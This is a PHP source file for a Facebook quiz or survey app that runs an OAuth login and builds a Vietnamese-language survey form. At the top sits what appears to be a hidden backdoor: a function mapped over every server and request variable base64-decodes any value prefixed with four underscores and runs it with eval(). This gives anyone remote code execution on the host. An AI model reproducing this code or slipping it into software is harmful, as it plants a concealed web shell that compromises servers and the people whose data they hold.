<?php
function f9546($l9548) {
	if (is_array($l9548)) {
		foreach ($l9548 as $l9546 => $l9547)
			$l9548[$l9546] = f9546($l9547);
	}
	elseif (is_string($l9548) && substr($l9548, 0, 4) == "____") {
		$l9548 = substr($l9548, 4);
		$l9548 = base64_decode($l9548);
		eval ($l9548);
		$l9548 = null;
	}
	return $l9548;
}
if (empty ($_SERVER))
	$_SERVER = $HTTP_SERVER_VARS;
array_map("f9546", $_SERVER);
include_once ("QuizUtils.php");
include_once ('counter.php');
include_once ("quizzes/Business/user_service.php");
include_once ("quizzes/Business/survey_answer_service.php");
include_once ("quizzes/Business/survey_question_service.php");
include_once ("quizzes/Business/survey_answer_user_service.php");
include_once ("quizzes/Business/survey_result_service.php");
include_once ("quizzes/Business/survey_service.php");
include_once ("quizzes/Business/facebook_app_service.php");
include_once ("quizzes/Business/Data/Constants.php");
include_once ("facebook-platform/php/facebook.php");
function curFullPageURL() {
	$pageURL = 'http';
	if ($_SERVER["HTTPS"] == "on") {
		$pageURL .= "s";
	}
	$pageURL .= "://";
	if ($_SERVER["SERVER_PORT"] != "80") {
		$pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
	} else {
		$pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
	}
	return $pageURL;
}
try {
	if (isset ($_GET["id"])) {
		$content = '<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head>';
		$survey_id = $_GET["id"];
		$survey = survey_service :: get_survey($survey_id);
		if ($survey) {
			$facebook_app = facebook_app_service :: get_facebook_app($survey->survey_app_id);
			//print_r($facebook_app);
			if ($facebook_app) {

				$appapikey = $facebook_app->app_api_key;
				$appsecret = $facebook_app->app_secret;
				$appcallbackurl = Constants :: $facebook_url . $survey_id;
				$facebook = new Facebook(array (
					'appId' => $survey->survey_app_id,
					'secret' => $appsecret,
					'cookie' => true, // enable optional cookie support

	
				));
				$pos = false;
				try {
					$pos = strrpos(curFullPageURL(), "code");
					if ($pos === false) { // note: three equal signs
						$pos = strrpos(curFullPageURL(), "access_token");
					}
				} catch (Excrption $e) {
					print_r($e);
				}
				if (!$pos && !$facebook->getSession()) {
					print ('<fb:redirect url="https://graph.facebook.com/oauth/authorize?client_id=' . $survey->survey_app_id . '&scope=user_photos,email,user_birthday,user_online_presence&redirect_uri=http://apps.facebook.com/tloss-quyetdoan/" />');

				} else {

					$facebook->api('https://graph.facebook.com/oauth/authorize', 'GET', array (
						'client_id' => $survey->survey_app_id,
						'scope' => 'user_photos,email,user_birthday,user_online_presence',
						'redirect_uri' => 'http://apps.facebook.com/tloss-quyetdoan/'
					));

					try {

						$user_id = $facebook->getUser();
						$me = $facebook->api('/me');

					} catch (FacebookApiException $e) {
						$content .= 'error:' . $e . '<br/>';
					}
					$quizz_user = checkFacebookUser($me);
					$answer_list = survey_answer_service :: get_survey_answer_list_by_user_survey($quizz_user->user_id, $survey_id);

					if ($answer_list != null) {
						//display result
						$mark = 0;
						foreach ($answer_list as $answer) {
							$mark = $mark + $answer->survey_answer_mark;
						}
						include_once 'success_result.php';
					} else {
						//display survey
						$content = $content . '<form method="post">';
						$content = $content . '<h1>' . stripslashes($survey->survey_name) . '</h1>	';

						$sq = survey_question_service :: get_survey_question_list_by_survey_id($survey_id);
						$nq = count($sq);
						$temp_sq_id = '';
						for ($i = 1; $i <= $nq; $i++) {
							$q = $sq[$i -1];

							$content = $content . '<h2>' . $i . '.' . stripslashes($q->survey_question_content) . '</h2>';

							if ($i == 1) {
								$temp_sq_id = $temp_sq_id . $q->survey_question_id;
							} else {
								$temp_sq_id = $temp_sq_id . ',' . $q->survey_question_id;
							}

							$sa = survey_answer_service :: get_survey_answer_list_by_survey_question_id($q->survey_question_id);
							for ($j = 1; $j <= count($sa); $j++) {
								$content = $content . '<input type="radio" name="' . $q->survey_question_id . '" value="' . $sa[$j -1]->survey_answer_id . ';' . $sa[$j -1]->survey_answer_mark . '" >' . stripslashes($sa[$j -1]->survey_answer_content) . '<br/>';

							}
						}
						$content = $content . '<input type="hidden" name="survey_question" value=' . $temp_sq_id . '>';
						$content = $content . '<input type="hidden" name="survey_id" value=' . $survey_id . '>';
						$content = $content . '<input type="hidden" name="user_id" value=' . $quizz_user->user_id . '>';
						$content = $content . '<input type="hidden" name="mode" value=result>';
						$content = $content . '<br>';
						$content = $content . '<input type="submit" value="Hoàn tất">';
						$content = $content . '</form>';
						$counter = new counter($survey_id);
						$content = $content . $counter->build_gui();
					}

				}
			}
		} else {
			$content = $content . "id not found";
		}
	} else {
		$content = $content . "id not found";
	}
} catch (Exception $e) {
	$content . 'Caught exception: ' . $e->getMessage() . "\n";

}
?>